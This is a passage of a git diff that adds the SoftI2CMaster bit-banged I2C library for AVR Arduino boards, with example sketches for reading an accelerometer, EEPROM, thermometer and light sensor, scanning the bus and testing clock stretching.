%[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rjmp _Li2c_put_ack_high \n\t" + "_Li2c_put_ack_low: ;else \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; 7C \n\t" + "_Li2c_put_ack_high: \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 7C + X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 9C +X \n\t" + " cln ;clear N ;; +1 = 10C\n\t" + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 11C + 2X\n\t" +#endif + "_Li2c_read_return: \n\t" + " nop \n\t " + " nop \n\t " + "sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " mov r24,r23 ;; 12C + 2X \n\t" + " clr r25 ;; 13 C + 2X\n\t" + " ret ;; 17C + X" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN) + ); + return ' '; // fool the compiler! +} + +#endif + + + diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/BMA020Soft/BMA020Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/BMA020Soft/BMA020Soft.ino new file mode 100644 index 0000000..cb58cd1 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/BMA020Soft/BMA020Soft.ino @@ -0,0 +1,98 @@ +// Simple sketch to read out BMA020 using SoftI2C + +// Readout BMA020 chip + +// use low processor speed (you have to change the baud rate to 2400!) +// #define I2C_CPUFREQ (F_CPU/8) +#define NO_INTERRUPT 1 +#define I2C_TIMEOUT 1000 + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#include +#include + + +#define BMAADDR 0x70 + +int xval, yval, zval; + +void CPUSlowDown(void) { + // slow down processor by a factor of 8 + CLKPR = _BV(CLKPCE); + CLKPR = _BV(CLKPS1) | _BV(CLKPS0); +} + + +boolean setControlBits(uint8_t cntr) +{ + Serial.println(F("Soft reset")); + if (!i2c_start(BMAADDR | I2C_WRITE)) { + return false; + } + if (!i2c_write(0x0A)) { + return false; + } + if (!i2c_write(cntr)) { + return false; + } + i2c_stop(); + return true; +} + +boolean initBma(void) +{ + if (!setControlBits(B00000010)) return false;; + delay(100); + return true; +} + +int readOneVal(boolean last) +{ + uint8_t msb, lsb; + lsb = i2c_read(false); + msb = i2c_read(last); + if (last) i2c_stop(); + return (int)((msb<<8)|lsb)/64; +} + +boolean readBma(void) +{ + xval = 0xFFFF; + yval = 0xFFFF; + zval = 0xFFFF; + if (!i2c_start(BMAADDR | I2C_WRITE)) return false; + if (!i2c_write(0x02)) return false; + if (!i2c_rep_start(BMAADDR | I2C_READ)) return false; + xval = readOneVal(false); + yval = readOneVal(false); + zval = readOneVal(true); + return true; +} + + + +//------------------------------------------------------------------------------ +void setup(void) { +#if I2C_CPUFREQ == (F_CPU/8) + CPUSlowDown(); +#endif + Serial.begin(19200); // in case of CPU slow down, change to baud rate / 8! + if (!initBma()) { + Serial.println(F("INIT ERROR")); + } + +} + +void loop(void){ + if (!readBma()) Serial.println(F("READ ERROR")); + Serial.print(F("X=")); + Serial.print(xval); + Serial.print(F(" Y=")); + Serial.print(yval); + Serial.print(F(" Z=")); + Serial.println(zval); + delay(300); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino new file mode 100644 index 0000000..b2062a1 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino @@ -0,0 +1,298 @@ +// Sketch to explore 24AA1024 using SoftI2C + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#define I2C_FASTMODE 0 +// #define I2C_TIMEOUT 10 // timeout after 10 msec +// #define I1C_NOINTERRUPT 1 // no interrupts +// #define I2C_CPUFREQ (F_CPU/8) // slow down CPU frequency +#include + +#define EEPROMADDR 0xA6 // set by jumper +#define MAXADDR 0x1FFFF +#define MAXTESTADDR 0x03FFF + +void CPUSlowDown(void) { + // slow down processor by a factor of 8 + CLKPR = _BV(CLKPCE); + CLKPR = _BV(CLKPS1) | _BV(CLKPS0); +} + + +//------------------------------------------------------------------------------ +/* + * read one byte from address + */ +boolean readEEPROM(unsigned long address, uint8_t *byte) { + // issue a start condition, send device address and write direction bit + if (!i2c_start(EEPROMADDR | I2C_WRITE | (address&0x10000 ? 8 : 0) )) return false; + + // send the address + if (!i2c_write((address>>8)&0xFF)) return false; + if (!i2c_write(address&0xFF)) return false; + + // issue a repeated start condition, send device address and read direction bit + if (!i2c_rep_start(EEPROMADDR | I2C_READ | (address&0x10000 ? 8 : 0) ))return false; + + *byte = i2c_read(true); + + i2c_stop(); + return true; +} +//------------------------------------------------------------------------------ +/* + *burst read + */ +boolean readBurstEEPROM(unsigned long start, unsigned long stop) { + // does not handle the transition from 0x0FFFF to 0x10000 + // since we only use it for performance evaluation, we do not care! + unsigned long addr = start; + uint8_t byte; + // issue a start condition, send device address and write direction bit + if (!i2c_start(EEPROMADDR | I2C_WRITE | (addr&0x10000 ? 8 : 0) )) return false; + + // send the address + if (!i2c_write((addr>>8)&0xFF)) return false; + if (!i2c_write(addr&0xFF)) return false; + + // issue a repeated start condition, send device address and read direction bit + if (!i2c_rep_start(EEPROMADDR | I2C_READ | (addr&0x10000 ? 8 : 0) ))return false; + addr++; + while (addr++ < stop) byte = i2c_read(false); + byte = i2c_read(true); + i2c_stop(); + return true; +} + + +//------------------------------------------------------------------------------ + +/* + * write 1 byte to 'address' in eeprom + */ +boolean writeEEPROM(long unsigned address, uint8_t byte) { + // issue a start condition, send device address and write direction bit + if (!i2c_start(EEPROMADDR | I2C_WRITE | (address&0x10000 ? 8 : 0))) return false; + + // send the address + if (!i2c_write((address>>8)&0xFF)) return false; + if (!i2c_write(address&0xFF)) return false; + + + // send data to EEPROM + if (!i2c_write(byte)) return false; + + // issue a stop condition + i2c_stop(); + + delay(6); + + return true; +} + +//------------------------------------------------------------------------------ +/* + * delete eeprom + */ +boolean deleteEEPROM(long unsigned from, unsigned long to, uint8_t byte, + boolean poll) { + + unsigned long tempto, i; + boolean firstpage = true; + + while (from <= to) { + tempto = ((from/128)+1)*128-1; + if (tempto > to) tempto = to; + if (firstpage || !poll) { + if (!i2c_start(EEPROMADDR | I2C_WRITE | (from&0x10000 ? 8 : 0))) + return false; + } else i2c_start_wait(EEPROMADDR | I2C_WRITE | (from&0x10000 ? 8 : 0)); + // send the address + if (!i2c_write((from>>8)&0xFF)) return false; + if (!i2c_write(from&0xFF)) return false; + + + // send data to EEPROM + for (i=from; i<=tempto; i++) + if (!i2c_write(byte)) return false; + // issue a stop condition + i2c_stop(); + + // wait for ack again + if (!poll) delay(6); + + from = tempto+1; + firstpage = false; + } + return true; +} + +//------------------------------------------------------------------------------ +boolean performanceTest() { + unsigned long eeaddr; + unsigned long startmicros, endmicros; + int avgtime; + boolean OK = true; + uint8_t byte; + + Serial.println(F("\nPerformance test:")); + + Serial.println(F("Sequential reads ...")); + startmicros = micros(); + OK &= readBurstEEPROM(0,MAXTESTADDR); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + Serial.println(F("Random reads ...")); + startmicros = micros(); + for (eeaddr = 0; eeaddr <= MAXTESTADDR; eeaddr++) + OK &= readEEPROM(eeaddr,&byte); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + Serial.println(F("Page writes with wait ...")); + startmicros = micros(); + OK &= deleteEEPROM(0,MAXTESTADDR,0xFF,false); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + Serial.println(F("Page writes with poll ...")); + startmicros = micros(); + OK &= deleteEEPROM(0,MAXTESTADDR,0xFF,true); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + return OK; +} +//------------------------------------------------------------------------------ + +unsigned long parseHex() { + unsigned long result = 0L; + char byte = '\0'; + + // while (hexdigit(byte)) { + while (byte != '\r' && byte != '#') { + while (!Serial.available()); + byte = Serial.read(); + // if (!hexdigit(byte)) break; + if (byte == '\r' || byte == '#') break; + if (byte >= 'a' && byte <= 'f') + byte = byte -'a' + 'A'; + if ((byte >= '0' && byte <= '9') || + (byte >= 'A' && byte <= 'F')) { + Serial.print(byte); + if (byte >= '0' && byte <= '9') byte = byte - '0'; + else byte = byte - 'A' + 10; + result = result * 16; + result = result + byte; + } + } + Serial.println(); + return result; +} + +void help (void) { + Serial.println(); + Serial.println(F("r - read byte from address")); + Serial.println(F("w - write byte to address")); + Serial.println(F("d - delete from start address to end address")); + Serial.println(F("l - list memory range")); + Serial.println(F("p - test performance")); + Serial.println(F("h - help message")); + Serial.println(F("Finish all numeric inputs with '#'")); +} + +//------------------------------------------------------------------------------ + + + +void setup(void) { +#if I2C_CPUFREQ == (F_CPU/8) + CPUSlowDown(); +#endif + + Serial.begin(19200); + Serial.println(F("\n\nTest program for EEPROM 24AA1024")); + help(); +} + + +void loop(void) { + char cmd; + uint8_t byte; + boolean noterror; + unsigned long addr, toaddr; + + while (!Serial.available()); + cmd = Serial.read(); + switch (cmd) { + case 'r': Serial.print(F("Read from addr: ")); + addr = parseHex(); + Serial.println(F("Reading...")); + noterror = readEEPROM(addr,&byte); + Serial.print(addr,HEX); + Serial.print(F(": ")); + Serial.println(byte,HEX); + if (!noterror) Serial.println(F("Error while reading")); + break; + case 'w': + Serial.print(F("Write to addr: ")); + addr = parseHex(); + Serial.print(F("Value: ")); + byte = parseHex(); + Serial.println(F("Writing...")); + noterror = writeEEPROM(addr,byte); + if (!noterror) Serial.println(F("Error while reading")); + break; + case 'd': + Serial.print(F("Delete from addr: ")); + addr = parseHex(); + Serial.print(F("to addr: ")); + toaddr = parseHex(); + Serial.print(F("Value: ")); + byte = parseHex(); + Serial.print(F("Deleting ... ")); + noterror = deleteEEPROM(addr,toaddr,byte,false); + Serial.println(F("...done")); + if (!noterror) Serial.println(F("Error while deleting")); + break; + case 'l': + Serial.print(F("List from addr: ")); + addr = parseHex(); + Serial.print(F("to addr: ")); + toaddr = parseHex(); + while (addr <= toaddr) { + noterror = readEEPROM(addr,&byte); + Serial.print(addr,HEX); + Serial.print(F(": ")); + Serial.println(byte,HEX); + if (!noterror) Serial.println(F("Error while reading")); + addr++; + } + case 'p': + noterror = performanceTest(); + if (!noterror) Serial.println(F("Error while executing performance test")); + break; + case 'h': + help(); + break; + default: + Serial.println(F("Unknown command")); + Serial.println(); + help(); + } +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/I2CScanSoft/I2CScanSoft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/I2CScanSoft/I2CScanSoft.ino new file mode 100644 index 0000000..4f411e0 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/I2CScanSoft/I2CScanSoft.ino @@ -0,0 +1,91 @@ +// Scan I2C bus for device responses + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#define I2C_TIMEOUT 100 +#define I2C_NOINTERRUPT 0 +#define I2C_SLOWMODE 1 +#define FAC 1 +#define I2C_CPUFREQ (F_CPU/FAC) + + +/* Corresponds to A4/A5 - the hardware I2C pins on Arduinos +#define SDA_PORT PORTC +#define SDA_PIN 4 +#define SCL_PORT PORTC +#define SCL_PIN 5 +#define I2C_FASTMODE 1 +*/ + +#include +#include + +//------------------------------------------------------------------------------ +void CPUSlowDown(int fac) { + // slow down processor by a fac + CLKPR = _BV(CLKPCE); + CLKPR = _BV(CLKPS1) | _BV(CLKPS0); +} + + + +void setup(void) { +#if FAC != 1 + CPUSlowDown(FAC); +#endif + + Serial.begin(19200); // change baudrate to 2400 on terminal when low CPU freq! + Serial.println(F("Intializing ...")); + Serial.print("I2C delay counter: "); + Serial.println(I2C_DELAY_COUNTER); + if (!i2c_init()) + Serial.println(F("Initialization error. SDA or SCL are low")); + else + Serial.println(F("...done")); +} + +void loop(void) +{ + uint8_t add = 0; + int found = false; + Serial.println("Scanning ..."); + + Serial.println(" 8-bit 7-bit addr"); + // try read + do { + if (i2c_start(add | I2C_READ)) { + found = true; + i2c_read(true); + i2c_stop(); + Serial.print("Read: 0x"); + if (add < 0x0F) Serial.print(0, HEX); + Serial.print(add+I2C_READ, HEX); + Serial.print(" 0x"); + if (add>>1 < 0x0F) Serial.print(0, HEX); + Serial.println(add>>1, HEX); + } else i2c_stop(); + add += 2; + } while (add); + + // try write + add = 0; + do { + if (i2c_start(add | I2C_WRITE)) { + found = true; + i2c_stop(); + Serial.print("Write: 0x"); + if (add < 0x0F) Serial.print(0, HEX); + Serial.print(add+I2C_WRITE, HEX); + Serial.print(" 0x"); + if (add>>1 < 0x0F) Serial.print(0, HEX); + Serial.println(add>>1, HEX); + } else i2c_stop(); + i2c_stop(); + add += 2; + } while (add); + if (!found) Serial.println(F("No I2C device found.")); + Serial.println("Done\n\n"); + delay(1000/FAC); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/MLX90614Soft/MLX90614Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/MLX90614Soft/MLX90614Soft.ino new file mode 100644 index 0000000..879d28f --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/MLX90614Soft/MLX90614Soft.ino @@ -0,0 +1,60 @@ +// reads out the MLX90614 infrared thermometer + +#include +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#include + + + +#define DEVICE (0x5A<<1) + + + +void setup(){ +#if (__AVR_ARCH__ == 5) // means ATMEGA + Serial.begin(19200); + Serial.println("Setup..."); +#endif + i2c_init(); +} + +void loop(){ + int dev = 0x5A<<1; + int data_low = 0; + int data_high = 0; + int pec = 0; + + i2c_start(dev+I2C_WRITE); + i2c_write(0x07); + // read + i2c_rep_start(dev+I2C_READ); + data_low = i2c_read(false); //Read 1 byte and then send ack + data_high = i2c_read(false); //Read 1 byte and then send ack + pec = i2c_read(true); + i2c_stop(); + + //This converts high and low bytes together and processes temperature, MSB is a error bit and is ignored for temps + double tempFactor = 0.02; // 0.02 degrees per LSB (measurement resolution of the MLX90614) + double tempData = 0x0000; // zero out the data + int frac; // data past the decimal point + + // This masks off the error bit of the high byte, then moves it left 8 bits and adds the low byte. + tempData = (double)(((data_high & 0x007F) << 8) + data_low); + tempData = (tempData * tempFactor)-0.01; + + float celcius = tempData - 273.15; + float fahrenheit = (celcius*1.8) + 32; + +#if (__AVR_ARCH__ == 5) // means ATMEGA + Serial.print("Celcius: "); + Serial.println(celcius); + + Serial.print("Fahrenheit: "); + Serial.println(fahrenheit); +#endif + + delay(1000); // wait a second before printing again +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.h b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.h new file mode 100644 index 0000000..e9cd175 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.h @@ -0,0 +1,53 @@ +#ifndef _TSL2561_H_ +#define _TSL2561_H_ + +#define TSL2561_VISIBLE 2 // channel 0 - channel 1 +#define TSL2561_INFRARED 1 // channel 1 +#define TSL2561_FULLSPECTRUM 0 // channel 0 + +#define TSL2561_LUX_LUXSCALE (14) // Scale by 2^14 +#define TSL2561_LUX_RATIOSCALE (9) // Scale ratio by 2^9 +#define TSL2561_LUX_CHSCALE (10) // Scale channel values by 2^10 +#define TSL2561_LUX_CHSCALE_TINT0 (0x7517) // 322/11 * 2^TSL2561_LUX_CHSCALE +#define TSL2561_LUX_CHSCALE_TINT1 (0x0FE7) // 322/81 * 2^TSL2561_LUX_CHSCALE + +// T, FN and CL package values +#define TSL2561_LUX_K1T (0x0040) // 0.125 * 2^RATIO_SCALE +#define TSL2561_LUX_B1T (0x01f2) // 0.0304 * 2^LUX_SCALE +#define TSL2561_LUX_M1T (0x01be) // 0.0272 * 2^LUX_SCALE +#define TSL2561_LUX_K2T (0x0080) // 0.250 * 2^RATIO_SCALE +#define TSL2561_LUX_B2T (0x0214) // 0.0325 * 2^LUX_SCALE +#define TSL2561_LUX_M2T (0x02d1) // 0.0440 * 2^LUX_SCALE +#define TSL2561_LUX_K3T (0x00c0) // 0.375 * 2^RATIO_SCALE +#define TSL2561_LUX_B3T (0x023f) // 0.0351 * 2^LUX_SCALE +#define TSL2561_LUX_M3T (0x037b) // 0.0544 * 2^LUX_SCALE +#define TSL2561_LUX_K4T (0x0100) // 0.50 * 2^RATIO_SCALE +#define TSL2561_LUX_B4T (0x0270) // 0.0381 * 2^LUX_SCALE +#define TSL2561_LUX_M4T (0x03fe) // 0.0624 * 2^LUX_SCALE +#define TSL2561_LUX_K5T (0x0138) // 0.61 * 2^RATIO_SCALE +#define TSL2561_LUX_B5T (0x016f) // 0.0224 * 2^LUX_SCALE +#define TSL2561_LUX_M5T (0x01fc) // 0.0310 * 2^LUX_SCALE +#define TSL2561_LUX_K6T (0x019a) // 0.80 * 2^RATIO_SCALE +#define TSL2561_LUX_B6T (0x00d2) // 0.0128 * 2^LUX_SCALE +#define TSL2561_LUX_M6T (0x00fb) // 0.0153 * 2^LUX_SCALE +#define TSL2561_LUX_K7T (0x029a) // 1.3 * 2^RATIO_SCALE +#define TSL2561_LUX_B7T (0x0018) // 0.00146 * 2^LUX_SCALE +#define TSL2561_LUX_M7T (0x0012) // 0.00112 * 2^LUX_SCALE +#define TSL2561_LUX_K8T (0x029a) // 1.3 * 2^RATIO_SCALE +#define TSL2561_LUX_B8T (0x0000) // 0.000 * 2^LUX_SCALE +#define TSL2561_LUX_M8T (0x0000) // 0.000 * 2^LUX_SCALE + +// Auto-gain thresholds +#define TSL2561_AGC_THI_13MS (4850) // Max value at Ti 13ms = 5047 +#define TSL2561_AGC_TLO_13MS (100) +#define TSL2561_AGC_THI_101MS (36000) // Max value at Ti 101ms = 37177 +#define TSL2561_AGC_TLO_101MS (200) +#define TSL2561_AGC_THI_402MS (63000) // Max value at Ti 402ms = 65535 +#define TSL2561_AGC_TLO_402MS (500) + +// Clipping thresholds +#define TSL2561_CLIPPING_13MS (4900) +#define TSL2561_CLIPPING_101MS (37000) +#define TSL2561_CLIPPING_402MS (65000) + +#endif diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.ino new file mode 100644 index 0000000..cacef37 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.ino @@ -0,0 +1,100 @@ +// Sketch to explore the luminosity sensor TSL2561 (breakout board by Adafruit) + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 + +#include +#include "TSL2561Soft.h" + +#define ADDR 0x72 + +//------------------------------------------------------------------------------ +unsigned long computeLux(unsigned long channel0, unsigned long channel1){ + + /* Make sure the sensor isn't saturated! */ + uint16_t clipThreshold = TSL2561_CLIPPING_402MS;; + + /* Return 0 lux if the sensor is saturated */ + if ((channel0 > clipThreshold) || (channel1 > clipThreshold)) + { + Serial.println(F("Sensor is saturated")); + return 32000; + } + + /* Find the ratio of the channel values (Channel1/Channel0) */ + unsigned long ratio1 = 0; + if (channel0 != 0) ratio1 = (channel1 << (TSL2561_LUX_RATIOSCALE+1)) / channel0; + + /* round the ratio value */ + unsigned long ratio = (ratio1 + 1) >> 1; + + unsigned int b, m; + + if ((ratio >= 0) && (ratio <= TSL2561_LUX_K1T)) + {b=TSL2561_LUX_B1T; m=TSL2561_LUX_M1T;} + else if (ratio <= TSL2561_LUX_K2T) + {b=TSL2561_LUX_B2T; m=TSL2561_LUX_M2T;} + else if (ratio <= TSL2561_LUX_K3T) + {b=TSL2561_LUX_B3T; m=TSL2561_LUX_M3T;} + else if (ratio <= TSL2561_LUX_K4T) + {b=TSL2561_LUX_B4T; m=TSL2561_LUX_M4T;} + else if (ratio <= TSL2561_LUX_K5T) + {b=TSL2561_LUX_B5T; m=TSL2561_LUX_M5T;} + else if (ratio <= TSL2561_LUX_K6T) + {b=TSL2561_LUX_B6T; m=TSL2561_LUX_M6T;} + else if (ratio <= TSL2561_LUX_K7T) + {b=TSL2561_LUX_B7T; m=TSL2561_LUX_M7T;} + else if (ratio > TSL2561_LUX_K8T) + {b=TSL2561_LUX_B8T; m=TSL2561_LUX_M8T;} + + unsigned long temp; + temp = ((channel0 * b) - (channel1 * m)); + + /* Do not allow negative lux value */ + if (temp < 0) temp = 0; + + /* Round lsb (2^(LUX_SCALE-1)) */ + temp += (1 << (TSL2561_LUX_LUXSCALE-1)); + + /* Strip off fractional portion */ + uint32_t lux = temp >> TSL2561_LUX_LUXSCALE; + + return lux; +} + +void setup(void) { + + Serial.begin(19200); + Serial.println("Initializing ..."); + i2c_init(); + + if (!i2c_start(ADDR | I2C_WRITE)) Serial.println(F("Device does not respond")); + if (!i2c_write(0x80)) Serial.println(F("Cannot address reg 0")); + if (!i2c_write(0x03)) Serial.println(F("Cannot wake up")); + i2c_stop(); +} + +void loop (void) { + unsigned int low0, high0, low1, high1; + unsigned int chan0, chan1; + unsigned int lux; + + delay(1000); + i2c_start(ADDR | I2C_WRITE); + i2c_write(0x8C); + i2c_rep_start(ADDR | I2C_READ); + low0 = i2c_read(false); + high0 = i2c_read(false); + low1 = i2c_read(false); + high1 = i2c_read(true); + i2c_stop(); + Serial.print(F("Raw values: chan0=")); + Serial.print(chan0=(low0+(high0<<8))); + Serial.print(F(" / chan1=")); + Serial.println(chan1=(low1+(high1<<8))); + lux = computeLux(chan0,chan1); + Serial.print(F("Lux value=")); + Serial.println(lux); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/stretchTest/stretchTest.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/stretchTest/stretchTest.ino new file mode 100644 index 0000000..b9c0c18 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/stretchTest/stretchTest.ino @@ -0,0 +1,52 @@ +// This is a short sketch that stretches the low pulse on an I2C bus +// in order to test the timeout feature. +// Put any Arduino and I2C device, e.g. a memory chip, as usual on a breadboard, +// then use another Arduino and flash this program into it. Connect the +// pin 5 (of PORTD) with the SCL line and verify on the scope that the +// low period is indeed stretched. + +#include + +#define SCL_PORT PORTD +#define SCL_PIN 5 + +#define DELAY 8 // strech SCL low for that many milli seconds + +#define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1) +#define SCL_OUT _SFR_IO_ADDR(SCL_PORT) +#define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2) + +void initScl(void) { + asm volatile + (" cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t" + :: [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLOUT] "I" (SCL_OUT)); +} + +void grabScl(void) { + asm volatile + ("_L_wait: \n\t" + " sbic %[SCLIN],%[SCLPIN] \n\t" + " rjmp _L_wait \n\t" + " sbi %[SCLDDR],%[SCLPIN]" + ::[SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN)); +} + +void releaseScl(void) { + asm volatile + (" cbi %[SCLDDR],%[SCLPIN] \n\t" + :: [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN)); +} + +void setup(void) +{ + Serial.begin(19200); + Serial.println("Intializing ..."); + initScl(); +} + +void loop(void) { + grabScl(); + delay(DELAY); + releaseScl(); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/license.txt b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/license.txt new file mode 100644 index 0000000..4bbfa39 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/license.txt @@ -0,0 +1,25 @@ +Software License Agreement (BSD License) + +Copyright (c) 2012, Adafruit Industries. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. +3. Neither the name of the copyright holders nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ''AS IS'' AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.cpp b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.cpp new file mode 100644 index 0000000..f836696 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.cpp @@ -0,0 +1,328 @@ +/* + * SoftI2CMaster.cpp -- Multi-instance software I2C Master library + * + * + * 2010-12 Tod E. Kurt, http://todbot.com/blog/ + * + * This code takes some tricks from: + * http://codinglab.blogspot.com/2008/10/i2c-on-avr-using-bit-banging.html + * + * 2014, by Testato: update library and examples for follow Wire’s API of Arduino IDE 1.x + * + */ + +#if (ARDUINO >= 100) +#include +#else +#include +#endif + +#include "SoftI2CMaster.h" + +#include +#include + +#define i2cbitdelay 50 + +#define I2C_ACK 1 +#define I2C_NAK 0 + + +#define i2c_scl_release() \ + *_sclDirReg &=~ _sclBitMask +#define i2c_sda_release() \ + *_sdaDirReg &=~ _sdaBitMask + +// sets SCL low and drives output +#define i2c_scl_lo() \ + *_sclPortReg &=~ _sclBitMask; \ + *_sclDirReg |= _sclBitMask; + +// sets SDA low and drives output +#define i2c_sda_lo() \ + *_sdaPortReg &=~ _sdaBitMask; \ + *_sdaDirReg |= _sdaBitMask; + +// set SCL high and to input (releases pin) (i.e. change to input,turnon pullup) +#define i2c_scl_hi() \ + *_sclDirReg &=~ _sclBitMask; \ + if(usePullups) { *_sclPortReg |= _sclBitMask; } + +// set SDA high and to input (releases pin) (i.e. change to input,turnon pullup) +#define i2c_sda_hi() \ + *_sdaDirReg &=~ _sdaBitMask; \ + if(usePullups) { *_sdaPortReg |= _sdaBitMask; } + + +// +// Constructor +// +SoftI2CMaster::SoftI2CMaster() +{ + // do nothing, use setPins() later +} +// +SoftI2CMaster::SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin) +{ + setPins(sclPin, sdaPin, true); + i2c_init(); +} + +// +SoftI2CMaster::SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin, uint8_t pullups) +{ + setPins(sclPin, sdaPin, pullups); + i2c_init(); +} + +// +// Turn Arduino pin numbers into PORTx, DDRx, and PINx +// +void SoftI2CMaster::setPins(uint8_t sclPin, uint8_t sdaPin, uint8_t pullups) +{ + uint8_t port; + + usePullups = pullups; + + _sclPin = sclPin; + _sdaPin = sdaPin; + + _sclBitMask = digitalPinToBitMask(sclPin); + _sdaBitMask = digitalPinToBitMask(sdaPin); + + port = digitalPinToPort(sclPin); + _sclPortReg = portOutputRegister(port); + _sclDirReg = portModeRegister(port); + + port = digitalPinToPort(sdaPin); + _sdaPortReg = portOutputRegister(port); + _sdaDirReg = portModeRegister(port); + +} + +// +// +// +uint8_t 